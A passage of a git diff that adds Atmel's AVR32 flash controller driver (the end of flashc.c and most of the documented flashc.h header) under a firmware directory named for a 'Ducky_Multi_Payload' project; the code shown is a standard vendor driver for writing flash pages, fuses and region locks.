AVR32_FLASHC_PAGE_SIZE)) + { + // Fill the beginning of the page buffer with the current flash page data. + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + for (tmp.u8ptr = (U8 *)Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE); + tmp.u64ptr < (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + + // If destination is not 64-bit aligned... + if (!Test_align((U32)dest.u8ptr, sizeof(U64))) + { + // Fill the beginning of the flash double-word buffer with the current + // flash page data. + // This is required by the hardware, even if page erase is not + // requested, in order to be able to write successfully to erased parts + // of flash pages that have already been written to. + for (i = 0; i < Get_align((U32)dest.u8ptr, sizeof(U64)); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Fill the end of the flash double-word buffer with the source data. + for (; i < sizeof(U64); i++) + flash_dword.u8[i] = *source.u8ptr++; + + // Align the destination pointer with its 64-bit boundary. + dest.u64ptr = (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + + // If the current destination double-word is not the last one... + if (dest.u64ptr < dest_end.u64ptr) + { + // Write the flash double-word buffer to the page buffer. + *dest.u64ptr++ = flash_dword.u64; + } + // If the current destination double-word is the last one, the flash + // double-word buffer must be kept for later. + else flash_dword_pending = true; + } + } + + // Read the source data with the maximal possible alignment and write it to + // the page buffer with 64-bit alignment. + switch (Get_align((U32)source.u8ptr, sizeof(U32))) + { + case 0: + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + *dest.u64ptr++ = *source.u64ptr++; + break; + + case sizeof(U16): + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + { + for (j = 0; j < sizeof(U64) / sizeof(U16); j++) flash_dword.u16[j] = *source.u16ptr++; + *dest.u64ptr++ = flash_dword.u64; + } + break; + + default: + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + { + for (j = 0; j < sizeof(U64); j++) flash_dword.u8[j] = *source.u8ptr++; + *dest.u64ptr++ = flash_dword.u64; + } + } + + // If the current destination page has an incomplete end... + if (incomplete_flash_page_end) + { + // If the flash double-word buffer is in use, do not initialize it. + if (flash_dword_pending) i = Get_align((U32)dest_end.u8ptr, sizeof(U64)); + // If the flash double-word buffer is free... + else + { + // Fill the beginning of the flash double-word buffer with the source data. + for (i = 0; i < Get_align((U32)dest_end.u8ptr, sizeof(U64)); i++) + flash_dword.u8[i] = *source.u8ptr++; + } + + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + { + tmp.u8ptr = (volatile U8 *)dest_end.u8ptr; + + // If end of destination is not 64-bit aligned... + if (!Test_align((U32)dest_end.u8ptr, sizeof(U64))) + { + // Fill the end of the flash double-word buffer with the current flash page data. + for (; i < sizeof(U64); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Write the flash double-word buffer to the page buffer. + *dest.u64ptr++ = flash_dword.u64; + } + + // Fill the end of the page buffer with the current flash page data. + for (; !Test_align((U32)tmp.u64ptr, AVR32_FLASHC_PAGE_SIZE); tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + } + } + + // If the current flash page is in the flash array... + if (dest.u8ptr <= AVR32_FLASHC_USER_PAGE) + { + // Erase the current page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_page(-1, false); + error_status |= flashc_error_status; + } + flashc_write_page(-1); + error_status |= flashc_error_status; + + // If the end of the flash array is reached, go to the User page. + if (dest.u8ptr >= flash_array_end.u8ptr) + { + source.u8ptr += AVR32_FLASHC_USER_PAGE - dest.u8ptr; + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + } + // If the current flash page is the User page... + else + { + // Erase the User page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_user_page(false); + error_status |= flashc_error_status; + } + flashc_write_user_page(); + error_status |= flashc_error_status; + } + } + + // Update the FLASHC error status. + flashc_error_status = error_status; + + // Return the initial destination pointer as the standard memcpy function does. + return dst; +} + + +#if UC3C +void flashc_set_flash_waitstate_and_readmode(unsigned long cpu_f_hz) +{ + //! Device-specific data + #undef AVR32_FLASHC_FWS_0_MAX_FREQ + #undef AVR32_FLASHC_FWS_1_MAX_FREQ + #undef AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ + #undef AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ + #define AVR32_FLASHC_FWS_0_MAX_FREQ 33000000 + #define AVR32_FLASHC_FWS_1_MAX_FREQ 66000000 + #define AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ 33000000 + #define AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ 72000000 + // These defines are missing from or wrong in the toolchain header files uc3cxxx.h + // Put a Bugzilla + + if(cpu_f_hz > AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ) // > 33MHz + { + // Set a wait-state + flashc_set_wait_state(1); + if(cpu_f_hz <= AVR32_FLASHC_FWS_1_MAX_FREQ) // <= 66MHz and >33Mhz + { + // Disable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); + } + else // > 66Mhz + { + // Enable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + } + } + else // <= 33 MHz + { + // Disable wait-state + flashc_set_wait_state(0); + + // Disable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); + + } +} +#endif // UC3C device-specific implementation + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/flashc/flashc.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/flashc/flashc.h new file mode 100644 index 0000000..b85e657 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/flashc/flashc.h @@ -0,0 +1,1018 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FLASHC driver for AVR32 UC3. + * + * AVR32 Flash Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with a FLASHC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _FLASHC_H_ +#define _FLASHC_H_ + +#include +#include +#include "compiler.h" + +//! Number of flash regions defined by the FLASHC. +#define AVR32_FLASHC_REGIONS (AVR32_FLASHC_FLASH_SIZE /\ + (AVR32_FLASHC_PAGES_PR_REGION * AVR32_FLASHC_PAGE_SIZE)) + + +/*! \name Flash Properties + */ +//! @{ + +/*! \brief Gets the size of the whole flash array. + * + * \return The size of the whole flash array in bytes. + */ +extern unsigned int flashc_get_flash_size(void); + +/*! \brief Gets the total number of pages in the flash array. + * + * \return The total number of pages in the flash array. + */ +extern unsigned int flashc_get_page_count(void); + +/*! \brief Gets the number of pages in each flash region. + * + * \return The number of pages in each flash region. + */ +extern unsigned int flashc_get_page_count_per_region(void); + +/*! \brief Gets the region number of a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return The region number of the specified page. + */ +extern unsigned int flashc_get_page_region(int page_number); + +/*! \brief Gets the number of the first page of a region. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * + * \return The number of the first page of the specified region. + */ +extern unsigned int flashc_get_region_first_page_number(unsigned int region); + +//! @} + + +/*! \name FLASHC Control + */ +//! @{ + +/*! \brief Gets the number of wait states of flash read accesses. + * + * \return The number of wait states of flash read accesses. + */ +extern unsigned int flashc_get_wait_state(void); + +/*! \brief Sets the number of wait states of flash read accesses. + * + * \param wait_state The number of wait states of flash read accesses: \c 0 to + * \c 1. + */ +extern void flashc_set_wait_state(unsigned int wait_state); + +/*! \brief Depending on the CPU frequency, set the wait states of flash read + * accesses. + * + * \param cpu_f_hz The CPU frequency + */ +extern void flashc_set_bus_freq(unsigned int cpu_f_hz); +/*! \brief Alias on the flashc_set_bus_freq() function. + * + * \param cpu_f_hz The CPU frequency + */ +#define flash_set_bus_freq(cpu_f_hz) flashc_set_bus_freq(cpu_f_hz) + +/*! \brief Tells whether the Flash Ready interrupt is enabled. + * + * \return Whether the Flash Ready interrupt is enabled. + */ +extern Bool flashc_is_ready_int_enabled(void); + +/*! \brief Enables or disables the Flash Ready interrupt. + * + * \param enable Whether to enable the Flash Ready interrupt: \c true or + * \c false. + */ +extern void flashc_enable_ready_int(Bool enable); + +/*! \brief Tells whether the Lock Error interrupt is enabled. + * + * \return Whether the Lock Error interrupt is enabled. + */ +extern Bool flashc_is_lock_error_int_enabled(void); + +/*! \brief Enables or disables the Lock Error interrupt. + * + * \param enable Whether to enable the Lock Error interrupt: \c true or + * \c false. + */ +extern void flashc_enable_lock_error_int(Bool enable); + +/*! \brief Tells whether the Programming Error interrupt is enabled. + * + * \return Whether the Programming Error interrupt is enabled. + */ +extern Bool flashc_is_prog_error_int_enabled(void); + +/*! \brief Enables or disables the Programming Error interrupt. + * + * \param enable Whether to enable the Programming Error interrupt: \c true or + * \c false. + */ +extern void flashc_enable_prog_error_int(Bool enable); + +//! @} + + +/*! \name FLASHC Status + */ +//! @{ + +/*! \brief Tells whether the FLASHC is ready to run a new command. + * + * \return Whether the FLASHC is ready to run a new command. + */ +extern Bool flashc_is_ready(void); + +/*! \brief Waits actively until the FLASHC is ready to run a new command. + * + * This is the default function assigned to \ref flashc_wait_until_ready. + */ +extern void flashc_default_wait_until_ready(void); + +//! Pointer to the function used by the driver when it needs to wait until the +//! FLASHC is ready to run a new command. +//! The default function is \ref flashc_default_wait_until_ready. +//! The user may change this pointer to use another implementation. +extern void (*volatile flashc_wait_until_ready)(void); + +/*! \brief Tells whether a Lock Error has occurred during the last function + * called that issued one or more FLASHC commands. + * + * \return Whether a Lock Error has occurred during the last function called + * that issued one or more FLASHC commands. + */ +extern Bool flashc_is_lock_error(void); + +/*! \brief Tells whether a Programming Error has occurred during the last + * function called that issued one or more FLASHC commands. + * + * \return Whether a Programming Error has occurred during the last function + * called that issued one or more FLASHC commands. + */ +extern Bool flashc_is_programming_error(void); + +//! @} + + +/*! \name FLASHC Command Control + */ +//! @{ + +/*! \brief Gets the last issued FLASHC command. + * + * \return The last issued FLASHC command. + */ +extern unsigned int flashc_get_command(void); + +/*! \brief Gets the current FLASHC page number. + * + * \return The current FLASHC page number. + */ +extern unsigned int flashc_get_page_number(void); + +/*! \brief Issues a FLASHC command. + * + * \param command The command: \c AVR32_FLASHC_FCMD_CMD_x. + * \param page_number The page number to apply the command to: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: use this to apply the command to the current page number + * or if the command does not apply to any page number; + * \arg this argument may have other meanings according to the command. See + * the FLASHC chapter of the MCU datasheet. + * + * \warning A Lock Error is issued if the command violates the protection + * mechanism. + * + * \warning A Programming Error is issued if the command is invalid. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_issue_command(unsigned int command, int page_number); + +//! @} + + +/*! \name FLASHC Global Commands + */ +//! @{ + +/*! \brief Issues a No Operation command to the FLASHC. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_no_operation(void); + +/*! \brief Issues an Erase All command to the FLASHC. + * + * This command erases all bits in the flash array, the general-purpose fuse + * bits and the Security bit. The User page is not erased. + * + * This command also ensures that all volatile memories, such as register file + * and RAMs, are erased before the Security bit is erased, i.e. deactivated. + * + * \warning A Lock Error is issued if at least one region is locked or the + * bootloader protection is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern void flashc_erase_all(void); + +//! @} + + +/*! \name FLASHC Protection Mechanisms + */ +//! @{ + +/*! \brief Tells whether the Security bit is active. + * + * \return Whether the Security bit is active. + */ +extern Bool flashc_is_security_bit_active(void); + +/*! \brief Activates the Security bit. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_activate_security_bit(void); + +/*! \brief Gets the bootloader protected size. + * + * \return The bootloader protected size in bytes. + */ +extern unsigned int flashc_get_bootloader_protected_size(void); + +/*! \brief Sets the bootloader protected size. + * + * \param bootprot_size The wanted bootloader protected size in bytes. If this + * size is not supported, the actual size will be the + * nearest greater available size or the maximal possible + * size if the requested size is too large. + * + * \return The actual bootloader protected size in bytes. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern unsigned int flashc_set_bootloader_protected_size(unsigned int bootprot_size); + +/*! \brief Tells whether external privileged fetch is locked. + * + * \return Whether external privileged fetch is locked. + */ +extern Bool flashc_is_external_privileged_fetch_locked(void); + +/*! \brief Locks or unlocks external privileged fetch. + * + * \param lock Whether to lock external privileged fetch: \c true or \c false. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_external_privileged_fetch(Bool lock); + +/*! \brief Tells whether the region of a page is locked. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return Whether the region of the specified page is locked. + */ +extern Bool flashc_is_page_region_locked(int page_number); + +/*! \brief Tells whether a region is locked. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * + * \return Whether the specified region is locked. + */ +extern Bool flashc_is_region_locked(unsigned int region); + +/*! \brief Locks or unlocks the region of a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * \param lock Whether to lock the region of the specified page: \c true or + * \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_page_region(int page_number, Bool lock); + +/*! \brief Locks or unlocks a region. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * \param lock Whether to lock the specified region: \c true or \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_region(unsigned int region, Bool lock); + +/*! \brief Locks or unlocks all regions. + * + * \param lock Whether to lock the regions: \c true or \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_all_regions(Bool lock); + +//! @} + + +/*! \name Access to General-Purpose Fuses + */ +//! @{ + +/*! \brief Reads a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * + * \return The value of the specified general-purpose fuse bit. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_read_gp_fuse_bit(unsigned int gp_fuse_bit); + +/*! \brief Reads a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * + * \return The value of the specified general-purpose fuse bit-field. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern U64 flashc_read_gp_fuse_bitfield(unsigned int pos, unsigned int width); + +/*! \brief Reads a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * + * \return The value of the specified general-purpose fuse byte. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern U8 flashc_read_gp_fuse_byte(unsigned int gp_fuse_byte); + +/*! \brief Reads all general-purpose fuses. + * + * \return The value of all general-purpose fuses as a word. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern U64 flashc_read_all_gp_fuses(void); + +/*! \brief Erases a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_gp_fuse_bit(unsigned int gp_fuse_bit, Bool check); + +/*! \brief Erases a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_gp_fuse_bitfield(unsigned int pos, unsigned int width, Bool check); + +/*! \brief Erases a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_gp_fuse_byte(unsigned int gp_fuse_byte, Bool check); + +/*! \brief Erases all general-purpose fuses. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_all_gp_fuses(Bool check); + +/*! \brief Writes a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param value The value of the specified general-purpose fuse bit. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value); + +/*! \brief Writes a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param value The value of the specified general-purpose fuse bit-field. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value); + +/*! \brief Writes a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param value The value of the specified general-purpose fuse byte. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value); + +/*! \brief Writes all general-purpose fuses. + * + * \param value The value of all general-purpose fuses as a word. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_all_gp_fuses(U64 value); + +/*! \brief Sets a general-purpose fuse bit with the appropriate erase and write + * operations. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param value The value of the specified general-purpose fuse bit. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value); + +/*! \brief Sets a general-purpose fuse bit-field with the appropriate erase and + * write operations. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param value The value of the specified general-purpose fuse bit-field. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value); + +/*! \brief Sets a general-purpose fuse byte with the appropriate erase and write + * operations. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param value The value of the specified general-purpose fuse byte. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value); + +/*! \brief Sets all general-purpose fuses with the appropriate erase and write + * operations. + * + * \param value The value of all general-purpose fuses as a word. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_all_gp_fuses(U64 value); + +//! @} + + +/*! \name Access to Flash Pages + */ +//! @{ + +/*! \brief Clears the page buffer. + * + * This command resets all bits in the page buffer to one. Write accesses to the + * page buffer can only change page buffer bits from one to zero. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_clear_page_buffer(void); + +/*! \brief Tells whether the page to which the last Quick Page Read or Quick + * Page Read User Page command was applied was erased. + * + * \return Whether the page to which the last Quick Page Read or Quick Page Read + * User Page command was applied was erased. + */ +extern Bool flashc_is_page_erased(void); + +/*! \brief Applies the Quick Page Read command to a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return Whether the specified page is erased. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern Bool flashc_quick_page_read(int page_number); + +/*! \brief Erases a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the command is applied to a page belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern Bool flashc_erase_page(int page_number, Bool check); + +/*! \brief Erases all pages within the flash array. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if at least one region is locked or the + * bootloader protection is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern Bool flashc_erase_all_pages(Bool check); + +/*! \brief Writes a page from the page buffer. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \warning A Lock Error is issued if the command is applied to a page belonging + * to a locked region or to the bootloader protected area. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + */ +extern void flashc_write_page(int page_number); + +/*! \brief Issues a Quick Page Read User Page command to the FLASHC. + * + * \return Whether the User page is erased. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern Bool flashc_quick_user_page_read(void); + +/*! \brief Erases the User page. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern Bool flashc_erase_user_page(Bool check); + +/*! \brief Writes the User page from the page buffer. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + */ +extern void flashc_write_user_page(void); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src source byte. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source byte. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * 